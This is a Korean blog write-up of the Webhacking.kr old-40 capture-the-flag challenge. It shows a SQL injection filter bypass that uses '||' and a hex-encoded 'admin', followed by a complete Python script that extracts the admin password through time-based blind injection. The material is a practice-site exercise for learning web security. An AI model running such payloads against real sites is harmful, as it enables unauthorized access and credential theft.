본문 바로가기
Web/Webhacking.kr

Webhacking.kr Challenge old-40 문제 풀이

by jh117jh 2024. 3. 30.
728x90

 

이번 문제는 sql injection인걸 바로 알 수 있다.

 

guest 계정의 no, id , pw가 기본값으로 입력되어 있어 쉽게 로그인할 수 있다.

아마 admin계정으로 로그인하는게 아닌가 예상된다.

 

no, id ,pw 모두 get으로 전송되고 있고 3개의 파라미터 중 어느 파라미터를 이용할지 확인해봐야 한다.

 

 

 

각각 3개의 파라미터에 간단한 sql을 넣어보니 no만 참으로 sql문이 인식되는 걸 확인했다.

 

추가로 확인해 본 결과 no파라미터는 공백, and, or, ', "가 필터링된 걸 확인했다.

 

'가 필터링되어 있으니 hex값으로 id=0x61646d696e형태로 2||id=0x61646d696e%23을 넣어보니 

 

admin password를 입력하라는 창이 출력된다.

 

이로써 admin이라는 계정이 있는 것이 확실하게 되었으므로 바로 blind injection을 시도했다.

 

여러 방법이 있지만 나는 time base로 시도했다.

 

import requests
import time


pw=""
url="https://webhacking.kr/challenge/web-29/"
cookies={"PHPSESSID":"자신의 쿠키값"}
string="1234567890qwertyuiopasdfghjklzxcvbnm}{][!@#$%^&*)(-_"

for i in range(1,100):
    start=time.time()
    res=requests.get(url+f"?no=2||id=0x61646d696e%26%26if(length(pw)={i},sleep(3),0)%23&id=guest&pw=guest",cookies=cookies)
    end=time.time()
    if end-start>2:
            length = i
            print("length:",i)
            break

for i in range(1,length+1): #pw구하기
    print(f"{i}번째")
    for j in range(30,128):
        start=time.time()
        res=requests.post(url+f"?no=2||id=0x61646d696e%26%26if(hex(substr(pw,{i},1))=hex({j}),sleep(3),0)%23&id=guest&pw=guest",cookies=cookies)
        # '가 필터링되어있으므로 hex값을 이용해 pw를 비교
        end=time.time()
        if end-start>2:
            pw+=chr(j)
            print("pw:",pw)
           
            break
print("password:",pw)

 

 

728x90